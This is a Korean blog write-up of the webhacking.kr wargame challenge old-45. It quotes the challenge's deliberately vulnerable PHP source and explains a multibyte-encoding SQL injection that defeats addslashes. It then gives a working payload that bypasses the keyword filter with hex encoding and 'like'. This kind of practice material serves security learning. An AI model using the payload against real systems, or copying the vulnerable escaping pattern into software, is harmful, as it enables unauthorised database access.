old-45는 SQL Injection문제다.
id와 pw를 입력하는 폼이 존재한다.
먼저 필터링과 query를 어떻게 구성했는지 확인해보자.
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 45</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
id : <input name=id value=guest><br>
pw : <input name=pw value=guest><br>
<input type=submit>
</form>
<hr><a href=./?view_source=1>view-source</a><hr>
<?php
if($_GET['id'] && $_GET['pw']){
$db = dbconnect();
$_GET['id'] = addslashes($_GET['id']);
$_GET['pw'] = addslashes($_GET['pw']);
$_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['id'])) exit();
if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['pw'])) exit();
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall45 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
if($result){
echo "hi {$result['id']}";
if($result['id'] == "admin") solve(45);
}
else echo("Wrong");
}
?>
</body>
</html>
id와 pw 파라미터의 값이 모두 존재해야 한다.
id와 pw는 모두 addslashes함수로 인해 싱글쿼터 앞에 \문자가 추가된다.
그리고 mb_convert_encoding함수로 utf-8로 인코딩해주는데 여기서 한 가지 취약점이 발생한다.
이처럼 멀티바이트로 인코딩하는 경우 %a1~%fe 뒤에 \(%5c)가 오면 백슬래시까지 합쳐 하나의 문자로 변환된다.
따라서 싱글쿼터 앞에 %a1~%fe 중 아무거나 넣으면 나중에 추가되는 \로 인해 %a1~%fe+%5c가 하나의 문자가 되고 싱글쿼터가 살아남게 된다.
id와 pw는 admin, select, limit, pw, =, <, > 등이 필터링된다.
admin같은 경우는 hex()나 char() 함수를 사용해서 대체 문자열을 사용하고, =은 like를 사용해서 우회 가능하다.
query는 다음과 같은 구조로 select id from chall45 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')
id위치에 새로운 쿼리를 Injection하면 될 것 같다.
위 사항들을 고려하면 다음과 같은 payload를 작성할 수 있다.
?id=%aa' || id like 0x61646d696e%23&pw=guest
payload를 실행하면 다음과 같이 문제를 해결할 수 있다.
old-45 해결!
'Study > Web Hacking' 카테고리의 다른 글
[Webhacking.kr] old-11 (0) | 2021.09.29 |
---|---|
[Webhacking.kr] old-46 (0) | 2021.09.25 |
[Webhacking.kr] old-08 (0) | 2021.09.18 |
[Webhacking.kr] old-03 (0) | 2021.09.18 |
[Webhacking.kr] old-05 (0) | 2021.09.11 |